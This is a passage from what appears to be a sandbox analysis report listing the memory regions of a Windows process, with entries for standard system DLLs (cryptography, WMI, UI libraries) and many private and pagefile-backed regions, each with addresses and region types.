start_va = 0x6fc90000
end_va = 0x6fcbefff
monitored = 0
entry_point = 0x6fca95e0
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")
Region:
id = 379
start_va = 0x2080000
end_va = 0x20bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002080000"
filename = ""
Region:
id = 380
start_va = 0x2760000
end_va = 0x285ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002760000"
filename = ""
Region:
id = 381
start_va = 0x6f350000
end_va = 0x6f369fff
monitored = 0
entry_point = 0x6f35fa70
region_type = mapped_file
name = "ncryptsslp.dll"
filename = "\\Windows\\SysWOW64\\ncryptsslp.dll" (normalized: "c:\\windows\\syswow64\\ncryptsslp.dll")
Region:
id = 382
start_va = 0x20c0000
end_va = 0x20c9fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "crypt32.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\crypt32.dll.mui")
Region:
id = 383
start_va = 0x2860000
end_va = 0x2963fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002860000"
filename = ""
Region:
id = 384
start_va = 0x2970000
end_va = 0x2a74fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002970000"
filename = ""
Region:
id = 385
start_va = 0x2a80000
end_va = 0x7f45fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002a80000"
filename = ""
Region:
id = 386
start_va = 0x7f50000
end_va = 0xdebefff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007f50000"
filename = ""
Region:
id = 387
start_va = 0xdec0000
end_va = 0xdfd4fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000dec0000"
filename = ""
Region:
id = 388
start_va = 0xdfe0000
end_va = 0xe0dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000dfe0000"
filename = ""
Region:
id = 389
start_va = 0x61e00000
end_va = 0x61ef2fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000061e00000"
filename = ""
Region:
id = 390
start_va = 0x20d0000
end_va = 0x20d0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000020d0000"
filename = ""
Region:
id = 391
start_va = 0x761a0000
end_va = 0x76223fff
monitored = 0
entry_point = 0x761c6220
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")
Region:
id = 392
start_va = 0x20e0000
end_va = 0x20e0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000020e0000"
filename = ""
Region:
id = 393
start_va = 0x70140000
end_va = 0x7014cfff
monitored = 0
entry_point = 0x70143520
region_type = mapped_file
name = "wbemprox.dll"
filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll")
Region:
id = 394
start_va = 0x700d0000
end_va = 0x70136fff
monitored = 0
entry_point = 0x700eb610
region_type = mapped_file
name = "wbemcomn.dll"
filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll")
Region:
id = 395
start_va = 0xe0e0000
end_va = 0xe11ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e0e0000"
filename = ""
Region:
id = 396
start_va = 0xe120000
end_va = 0xe21ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e120000"
filename = ""
Region:
id = 397
start_va = 0xe220000
end_va = 0xe25ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e220000"
filename = ""
Region:
id = 398
start_va = 0xe260000
end_va = 0xe35ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e260000"
filename = ""
Region:
id = 764
start_va = 0x6df90000
end_va = 0x6dfa0fff
monitored = 0
entry_point = 0x6df98fa0
region_type = mapped_file
name = "wbemsvc.dll"
filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll")
Region:
id = 765
start_va = 0x6ded0000
end_va = 0x6df8efff
monitored = 0
entry_point = 0x6df01e80
region_type = mapped_file
name = "fastprox.dll"
filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll")
Region:
id = 861
start_va = 0x20f0000
end_va = 0x20f2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000020f0000"
filename = ""
Region:
id = 862
start_va = 0xe360000
end_va = 0xe39ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e360000"
filename = ""
Region:
id = 863
start_va = 0xe3a0000
end_va = 0xe49ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e3a0000"
filename = ""
Region:
id = 864
start_va = 0x729b0000
end_va = 0x72a24fff
monitored = 0
entry_point = 0x729e9a60
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")
Region:
id = 865
start_va = 0xe4a0000
end_va = 0xe59ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e4a0000"
filename = ""
Region:
id = 867
start_va = 0x6de80000
end_va = 0x6dec1fff
monitored = 1
entry_point = 0x6de8f380
region_type = mapped_file
name = "wbemdisp.dll"
filename = "\\Windows\\SysWOW64\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemdisp.dll")
Region:
id = 868
start_va = 0x6ddf0000
end_va = 0x6de70fff
monitored = 0
entry_point = 0x6de0b260
region_type = mapped_file
name = "sxs.dll"
filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll")
Region:
id = 869
start_va = 0x20f0000
end_va = 0x20fefff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wbemdisp.tlb"
filename = "\\Windows\\SysWOW64\\wbem\\wbemdisp.tlb" (normalized: "c:\\windows\\syswow64\\wbem\\wbemdisp.tlb")
Region:
id = 870
start_va = 0x2100000
end_va = 0x2104fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "stdole2.tlb"
filename = "\\Windows\\SysWOW64\\stdole2.tlb" (normalized: "c:\\windows\\syswow64\\stdole2.tlb")
Region:
id = 871
start_va = 0x20f0000
end_va = 0x20f4fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "winnlsres.dll"
filename = "\\Windows\\SysWOW64\\winnlsres.dll" (normalized: "c:\\windows\\syswow64\\winnlsres.dll")
Region:
id = 872
start_va = 0x2100000
end_va = 0x210ffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "winnlsres.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\winnlsres.dll.mui")
Region:
id = 873
start_va = 0xe4a0000
end_va = 0xe4a3fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e4a0000"
filename = ""
Region:
id = 874
start_va = 0xe590000
end_va = 0xe59ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e590000"
filename = ""
Region:
id = 875
start_va = 0xe4b0000
end_va = 0xe4bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e4b0000"
filename = ""
Region:
id = 876
start_va = 0xe5a0000
end_va = 0xe69ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e5a0000"
filename = ""
Region:
id = 877
start_va = 0xe4b0000
end_va = 0xe4cdfff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e4b0000"
filename = ""
Region:
id = 878
start_va = 0xe4d0000
end_va = 0xe4defff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4d0000"
filename = ""
Region:
id = 879
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 880
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 881
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 882
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 883
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 884
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 885
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 886
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 887
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 888
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 889
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 890
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 891
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 892
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 893
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 894
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 895
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 896
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 897
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 898
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 899
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 900
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 901
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 902
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 903
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 904
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 905
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 906
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 907
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 908
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 909
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 910
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 911
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 912
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 913
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 914
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 915
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 916
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 917
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 918
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 919
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 920
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 921
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 922
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 923
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 924
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 925
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 926
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 927
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 928
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 929
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 930
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 931
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 932
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 933
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 934
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 935
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 936
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 937
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 938
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 939
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 940
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 941
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 942
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 943
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 944
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 945
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 946
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 947
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 948
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 949
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 950
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 951
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 952
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 953
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 954
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 955
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 956
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 957
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 958
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 959
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 960
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 961
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 962
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 963
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 964
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 965
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 966
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 967
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 968
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 969
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 970
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 971
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 972
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 973
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 974
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 975
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 976
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 977
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 978
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 979
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 980
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 981
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 982
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 983
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 984
start_va = 0xe4b0000
end_va = 0xe4befff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e4b0000"
filename = ""
Region:
id = 985
start_va = 0xe4b0000
end_va = 0xe50ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e4b0000"
filename = ""
Region:
id = 986
start_va = 0xe4b0000
end_va = 0xe4effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e4b0000"
filename = ""
Region:
id = 987
start_va = 0xe500000
end_va = 0xe50ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e500000"
filename = ""
Region:
id = 988
start_va = 0xe510000
end_va = 0xe58ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e510000"
filename = ""
Region:
id = 989
start_va = 0xe6a0000
end_va = 0xe79ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e6a0000"
filename = ""
Region:
id = 990
start_va = 0x744b0000
end_va = 0x745cefff
monitored = 0
entry_point = 0x744f5980
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")
Region:
id = 991
start_va = 0xe7a0000
end_va = 0xec91fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000e7a0000"
filename = ""
Region:
id = 992
start_va = 0xe4f0000
end_va = 0xe4f0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e4f0000"
filename = ""
Region:
id = 993
start_va = 0xeca0000
end_va = 0xf1a0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000eca0000"
filename = ""
Region:
id = 994
start_va = 0x6dc70000
end_va = 0x6dde2fff
monitored = 0
entry_point = 0x6dd1d220
region_type = mapped_file
name = "windowscodecs.dll"
filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll")
Region:
id = 995
start_va = 0xf1b0000
end_va = 0xf2affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000f1b0000"
filename = ""
Region:
id = 996
start_va = 0xf2b0000
end_va = 0xf3affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000f2b0000"
filename = ""
Region:
id = 997
start_va = 0xe4b0000
end_va = 0xe4effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e4b0000"
filename = ""
Region:
id = 998
start_va = 0xe6a0000
end_va = 0xe79ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e6a0000"
filename = ""
Region:
id = 999
start_va = 0xf3b0000
end_va = 0xfbbcfff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000f3b0000"
filename = ""
Region:
id = 1000
start_va = 0xe500000
end_va = 0xe501fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000e500000"
filename = ""
Region:
id = 1001
start_va = 0xeca0000
end_va = 0xeca0fff
